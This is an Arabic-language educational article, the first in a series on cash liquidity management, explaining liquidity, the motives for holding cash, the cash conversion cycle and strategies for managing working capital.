السيولة Liquidity  فى معناها المطلق تعنى النقدية Cash Money ، أما السيولة بمعناها المالى فتعنى قابلية الأصل للتحويل إلى نقدية بسرعة وبدون خسائر ، وحيث أن الهدف من الاحتفـاظ بأصـول سائلـة هو مواجهة الالتزامات المستحقة الأداء حالياً أو فى غضون فترة قصيرة ، فإن السيولة تعتبر مفهوم نسبى يعبر عن العلاقة بين النقدية والأصول سهلة التحويل إلى نقدية بسرعة وبدون خسائر  وبين الالتزامات مستحقة الوفاء بها ، لذلك يمكن تحديد سيولة أى منشأة فى ضوء استحقاقات التزاماتها .

وتعتبر النقدية والاستثمارات المؤقتة من أكثر الأصول المتداولة سيولة ، لذا فهما يمثلان خط الدفاع الأول الذى تعتمد عليه المنشأة فى الوفاء بما عليها من التزامات . فالأصول المتداولة الأخرى كالمخزون والعملاء تحتاج لوقت طويل نسبياً حتى تتحول إلى نقدية ، بل قد لا تتحول إلى نقدية على الإطلاق ، وذلك إذا ما تقادم المخزون أو تعرض العملاء إلى صعوبات لم يتمكنوا معها من الوفاء بالتزاماتهم تجاه المنشأة .

وإذا كـان كل من النقديـة والاستثمارات المؤقتة يؤثران على مركز المنشأة من حيث السيولة ، فإن الاستثمارات المؤقت تؤثر أيضاً على مركز المنشأة من حيث الربحية أيضاً ، فالاستثمارات المؤقتة تعتبر فى حكم النقدية إذ يمكن التصرف فيها فى أى وقت دون خسائر مالية تذكر أو ربما دون خسائر على الإطلاق ، كما قد يتولد عنها عائد يضاف إلى أرباح المنشأة مثل شهادات إيداع بفوائد تصدرها البنوك التجارية .

إدارة النقـديـة : 

يقصد بالنقدية العملة التى تحتفظ بها المنشأة فى خزينتها وكذا رصيد حسابها الجارى فى البنوك ، ولقد ذاد الإهتمام فى المنشآت بإدارة النقدية حيث يسير الإتجاه نحو تخفيض حجم الإستثمار فيها الى أقل حد ممكن ، ويرجع ذلك الإتجاه فى إدارة النقدية الى إرتفاع معدل العائد الذى يمكن تحقيقه على الإستثمار ، الأمر الذى يترتب عليه إرتفاع تكلفة الفرصة البديلة للموارد المالية المحتفظ بها فى صورة نقدية زائدة عن الحاجة أى عاطلة ، وبالتالى فإن الإتجاه نحو تخفيض رصيد النقدية على هذا النحو يسهم فى تحقيق هدف الإدارة المالية وهو تعظيم ثروة الملاك .

وتمثل إدارة النقدية أحد المشاكل الحرجة التى تواجه المدير المالى ، ويرجع السبب فى ذلك الى عدم وجود معادلات محددة  يمكن الإستناد عليها فى مواجهة الجوانب المختلفة المتعلقة بإدارة النقدية ، ومن أهم هذه الجوانب :

  • الأسباب التى يستند اليها فى الإحتفاظ بالمخزون .
  • كيفية إستثمار الفائض النقدى .
  • تحديد حجم الرصيد النقدى .

 

أهميـة إدارة النقديـة :

تعتبر النقدية من عناصر الأصول ذات الطبيعة الخاصة التى يؤدى الزيادة أو النقص فيهـا إلى مشاكل قـد تؤثـر على استمـرار المنشأة فى نشاطها أو على الأقل تؤدى الى انخفاض معـدل العائد على الاستثمـار الذى يمكـن للمنشـأة أن تحققـه ، فالنقديـة تمثـل شريان الحيـاة بالنسبة للمنشأة ، فبدون السيولة النقدية لن تستطيع المنشأة مواجهة

التزاماتها أو أن تحقـق ربحية ، كما تحتـاج إدارة المنشأة إلى التأكد من أن مصادر النقدية يتم توظيفها بأكبر كفاءة ممكنة ، وهذا يتطلب من إدارة المنشأة أن :

  • تخطط وتراقب التدفقات النقدية التى ترتبط بأنشطتها اليومية ، ومن ثم ضرورة وجود سياسات محددة لإدارة المخزون ، والعملاء ، والدائنون .
  • تخطط وتراقب مصادر التمويل من خلال أنشطتها الطويلة والقصيرة للتعرف على موقف التدفقات النقدية .

 

مشاكل نقص النقدية المتاحة لدى المنشأة عن الحد المناسب :

1 – عدم القدرة على سداد الالتزامات فى مواعيدها :

ويترتب على ذلك احتمالات تعرض المنشأة للإفلاس والتوقف عن العمل ، أو على الأقل قد يتسبب ذلك فى قيام المنشأة بالاقتراض قصير الأجل وتحمل فوائد (تكلفة) مرتفعة مما يؤثر على معدل العائد الذى تحققه المنشأة على الاستثمار بالسالب .

2 – عدم قدرة المنشأة على استغلال الفرص التى يمكن أن تتاح فى مجال الأعمال :

تلك الفرص التى يتطلب الاستفادة منها وجود رصيد نقدى كاف لدى المنشأة ، وذلك يؤدى الى ضياع أرباح كان من الممكن الحصول عليها فى حالة توفر الرصيد النقدى المناسب .

مشاكل زيادة النقدية المتاحة لدى المنشأة عن الحد المناسب :

 1 – وجود جزء من أموال المنشأة فى صورة نقدية :

     وهذا يعنى أن هناك جزء غير مستثمر من أموال المنشأة ، وبالتالى ضياع أرباح كان يمكن الحصول عليها فى حالة استثمار هذه الأموال.

2 – انخفاض العائد على الاستثمار فى المنشاة :

نتيجة لوجود جزء غير مستثمر من أموال المنشأة يخفض العائد على المال المستثمر مما يؤدى إلى إضعاف الموقف التنافسى للمنشأة فى مجال الأعمال .

 

أسباب الإحتفاظ بالنقدية :

هناك ثلاث دوافع للمنشأة للاحتفاظ بجزء من أصولها فى صورة نقدية وهى :

        · دوافع التعامل         · دوافع الاحتياط         · دوافع المضاربة

 

أولاً : دوافع التعامل :

        وهذه الدوافع تنشأ من طبيعة عمل المنشأة ، وكذلك نوع المنتج الذى تقدمه ، فممارسة المنشأة لأعمالها العادية يتطلب سداد أجور وشراء مستلزمات سلعية وخدمية ومصروفات أخرى مثل الكهرباء والمياه ، كل ذلك يتطلب توافر رصيد نقدى كاف يمكن المنشأة من مواجهة هذه المدفوعات النقدية .

ويجدر الإشارة الى أن دورة النقدية والتى يوضحها الشكل التالى تتأثر مدتها بطبيعة المنتج ، فإذا تأخر حدوث تدفقات النقدية الداخلة للمنشأة فإن هذا يدفعها للاحتفاظ برصيد نقدى لمقابلة التدفقات النقدية الخارجة الى أن تتم التدفقات النقدية الداخلة .

الـدورة النقـديـة

يوضح الشكل السابق أن التدفقات النقدية الخارجة لسداد الأجور وشراء مستلزمات الإنتاج ، ثم التخزين ثم البيع ، والبيع قد يكون نقدى أو آجل ، وعلى ذلك فخلال تلك الفترة (الإنتاج – التخزين – البيع) وحتى يتم التحصيل تحتاج المنشأة الى الإحتفاظ بالنقدية اللازمة للتشغيل .

النقدية كأحد مكونات رأس المال العامل :

إن إدارة رأس المال العامل بفاعلية يتطلب أن يعكس طبيعته المتحركة وطبيعة مكوناته ، فرأس المال العامل ومكوناته دائمة التغير ، وهذا يمكن إيضاحه إذا نظرنا الى كل مكون من مكوناته من أصول وخصوم كما يلى : 

المخـزون :

حيث يتم شراء المواد الخام كأولى خطوات العملية الصناعية والتى تنتهى ببيع المنتج ، وفى أثناء هذه العملية التحويلية فإن المواد الخام تتحول الى إنتاج تحت التشغيل وبعدها يتحول الى منتج تام يباع ، وبذلك يقل رصيد المخزون من الإنتاج التام والذى يتم إستعاضته بشراء مواد خام وإنتاج وحدات تامة جديدة وهكذا تستمر دورة المخزون . 

المدينــون (العمـلاء) :

ينشأ بند المدينون من بيع المنتجات التامة بالأجل ، ويظهر كأحد بنود الأصول المتداولة إلى أن يقوم المدين بتسوية مديونيته ،وعند ذلك يختفى هذا العنصر من المدينين ويحل مكانه عنصر آخر من عناصر الأصول المتداولة وهو النقدية ، وكلما زاد البيع الآجل فإن ذلك يترتب عليه زيادة فى بند المدينين ، علماً بأن النقدية المتاحة تقل نظراً لشراء لوازم الإنتاج  . 

الدائنــون :

ينشأ عنصر الدائنون كأحد بنود الخصوم المتداولة فى حالة الشراء الآجل ، وتظل هكذا الى أن يتم سدادها وعندئذ يتأثر بند آخر من مكونات رأس المال العامل وهو النقدية بالنقص ، ومع إستمرار نشاط المنشأة ينشأ دائنين آخرين نتيجة شراء آجل آخر وهكذا .

النقـديــة :

رصيد النقدية وحسابات المنشأة فى البنوك دائمة التغير كنتيجة لكل عمليات الدفع أو التحصيل التى تقوم بها المنشأة ، ومعظم هذه العمليات مرتبطة بالتغيرات فى مكونات رأس المال العامل ، وأيضاً مرتبطة بأحداث أخرى مثل عمليات تمويل طويل الأجل أو شراء أصول ثابتة .

والتحدى الحقيقى الذى يواجه الإدارة هو الرقابة على كل التغيرات التى تحدث على عناصر رأس المال العامل ككل ، وهنا يجدر بنا الإشارة الى أن دورة التدفق النقدى يمكن تحليلها الى مجموعة من المكونات التى ترتبط بحركة مكونات رأس المال العامل ، والشكل التالى يوضح ذلك .

دورة التحويل إلى النقدية

يوضح هذا الشكل العلاقة بين مكونات رأس المال  العامل فى المنشأة ، فنقطة البداية هى شراء المدخلات والتى تعتبر مقدمة هذه الدورة :

  • فتـرة دورة الإنتـاج :هى الفتـرة الزمنيـة التى تنقضى منـذ شـراء مدخلات الإنتاج ( مواد خام ) وتحويلها الى منتجات تامة وحتى بيعها ، وهذه الفترة تختلف بإختلاف نشاط المنشأة ، فقد تكون قصيرة جداً خاصة إذا كانت طبيعة المادة الخام تمثل أحد العوامل الهامة فى تحديد هذه الفترة مثل نشاط المطاعم التى تروج منتجاتها على أساس تقديم الأطعمة الطازجة ، بينما فى نشاط الإنشاءات قد تصل هذه الفترة الى سنوات .
  • فترة التحصيل: هى الفترة الزمنية التى تنقضى منذ بيع المنتج وحتى تحصيل النقدية من العميل ، ففى حـالة البيـع النقدى لا تكون هناك فترة تحصيل مما يقلل من مدة دورة النقدية ، أما فى حالة البيع الآجل فهذه الفترة تختلف فى مدتها حسب طبيعة المنتج أو طبيعة نشاط المنشأة أو سياسة الائتمان التى تتبعها .
  • فترة السداد : هى الفترة الزمنية التى تنقضى منذ شراء الخامات وحتى سداد قيمتها للمورد ، ففى حالة السداد النقدى تكون هذه الفترة مساوية الصفر ، أما فى حالة الشراء الآجل فإن هذه الفترة تختلف باختلاف ظروف المنشأة وشروط الائتمان الممنوحة للمنشأة ، وبذلك تكون نهاية دورة التحويل الى نقدية والتى تمثل الفترة الزمنية بين التدفق النقدى الخارج إلى المورد وبين التدفقات الداخلة من العملاء .

ويمكن التعبير عن دورة التحويل إلى نقدية بالمعادلة الآتية :

دورة التحويل الى نقدية  =  فترة دورة الإنتاج + فترة التحصيل –  فترة السداد

استراتيجيات زيادة فعالية إدارة النقدية :

  • تأخير سداد أوراق الدفع :

ويلاحظ أن التأخير هنا مرتبط بعدم التأثير على الصورة الذهنية للشركة لدى العملاءأو مصداقيتها فى التعامل ، ويقصد بذلك عدم الدخول فى مشاكل من أى نوع مع أصحاب الحقوق تجاة الشركة .

 

  • زيادة معدل دوران المخزون :

وذلك إما بترشيد تكلفة البضاعة المباعة فى محاولة لتخفيض حجم المخزون بأنواعه المختلفة ( تحت التشغيل – خامات – تام الصنع ) وذلك بما لا يضر بمصالح المنظمة ، ولا شك أن زيادة معـدل دوران المخزون يؤدى إلى تخفيض فترة التخزين والإنتاج ، مما يؤدى إلى تقصير دورة النقدية ، مما يؤدى إلى زيادة معدل دوران النقدية ومن ثم تخفيض الحد الدنى للنقدية ما ينشأ عن ذلك من وفر فى التكلفة .

 

  • الإسراع فى تحصيل حسابات القبض :

وذلك بهدف تقليل فرص الديون الرديئة أو المعدومة فضلاً عن الهدف الرئيسى وهو تقصير دورة النقدية ، مما يؤدى فى النهاية إلى تخفيض الحد الأدنى للنقدية.

ثانياً : دافـع الاحتيـاط :

إن إعداد تنبؤات دقيقة بالتدفقات النقدية الداخلة والخارجة يكتنفها بعض الصعوبـات ، وبالتالـى فإن ذلك يزيد من الحاجة للاحتفاظ بمزيد من الأموال النقدية ، ويتم الاحتفاظ بالنقدية فى هذه الحالة كاحتياطي ضد المخاطر التى يمكن أن تنتج بسبب عدم إمكانية إعداد تقديرات دقيقة للتدفقات النقدية .

العوامل التى تؤثر على حجم الإحتياطى النقدى الذى تحتفظ به المنشأة :

  • كمية الأموال المستثمرة فى الأصول شبه النقدية :العلاقة بين حجم الاستثمارات فى الأصول شبه النقدية وبين حجم النقدية المحتفظ بها علاقة عكسية . فكلما زادت الاستثمارات فى أصول شبه النقدية كلما أنخفض حجم النقدية المطلوب الاحتفاظ بها كإحتياطى ،وذلك يرجع إلى أن الأصول شبه النقدية التى يمكن الرجوع إليها عند الأزمات وتحويلها الى نقدية تحمل مخاطر كبيرة ..

  • مدى وجود سياسة للاعتماد على السحب على المكشوف للتعامل مع الأزمات النقدية التى تتعرض لها المنشأة :فإذا كان هناك قرار أدارى بإمكانية الاعتماد على السحب على المكشوف فى مواجهة الأزمات النقدية فإن ذلك يؤدى إلى انخفاض الحاجة إلى الاحتفاظ بإحتياطى نقدى .

 

هل هناك عوامل تقتضى بأن تحتفظ المنشأة بإحتياطى نقدى ؟

نعم

 

وذلك فى الحالات الآتية :

1- للاستجابة لمتطلبات البنوك المتعامل معها كشرط للحصول على التسهيلات المالية المطلوبة .

2 – فى بعض الأحيان قد ينص فى إتفاقيات القروض أو التسهيلات المالية على ضرورة وجود رصيد نقدى بمستوى معين .

3 – للمحافظة على مستوى محدد لبعض المؤشرات (كنسب السيولة مثلاً) ، والتى يتطلب المحافظة عليها فى أغلب الأحوال وجود أو زيادة فى النقدية .

ثالثاً : دوافع المضاربة :

يظهر أثر هذا الدافع عندما تقوم المنشأة بالاحتفاظ بجزء من استثماراتها فى صورة نقدية مع عدم وجود أسباب لذلك إلا انتهاز الفرصة المربحة والتى يحتاج الاستفادة بها الى تصرف فورى ، وهذه الفرص تتمثل فى الاستفادة من التغيرات السريعة فى الأسعار الخاصة بالمعادن الثمينة أو الأوراق المالية ، أو الاحتفاظ بقدر من النقدية لاغتنام الفرص المتاحة لتحقيق بعض الوفورات فى التكاليف أو لتحقيق زيادة فى الإيرادات ، فالخصم على أسعار بعض المواد الخام الذى قد يعلن عنه المورد قد يشجع المنشأة الصناعية على المسارعة بشراء كمية كبيرة من تلك المواد وتخزينها قبل أن تنقضى فترة الخصم ، كما أن الانخفاض المتوقع فى أسعار الفائدة قد يشجع المنشأة على زيادة الاستثمار فى الأوراق المالية أملاً فى تحقيق أرباحاً رأسمالية عندما يحدث ذلك الانخفاض المرتقب وبالطبع لن تتمكن المنشأة من اغتنام هذه الفرص إن لم يكن متوافر لديها موارد مالية للاستثمار فى مزيد من المخزون أو الأوراق المالية .

وبذلك نرى أن دوافع المضاربة لا ترتبط بمجال الأعمال الخاص بالمنشأة كما أن القيام بعمليات المضاربة يتطلب وجود إدارة متخصصة للقيام بذلك ، ولكن القاعدة العامة هى ضرورة تجنب منشآت الأعمال القيام بعمليات المضاربة ويتبع ذلك ضرورة تجنب قيام المنشـآت بالاحتفـاظ بجـزء من أموال المشروع فى صورة نقدية لأغراض المضاربة فقط ، ويمكن للمنشأة التخطيط لتحديد مصادر أخرى تستطيع من خـلالها الحصـول على النقـدية اللازمة لاسـتغـلال الفرص الاستثمارية المفاجئة ، دون أن يمثل الاحتفاظ بالنقدية لأغراض المضاربة إحدى السياسات العامة فى المنشأة .

***

انتهت بحمد الله المقالة الأولى لمسار كيم التعليمي لإدارة السيولة النقدية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/cash_flow_management-1/feed/ 0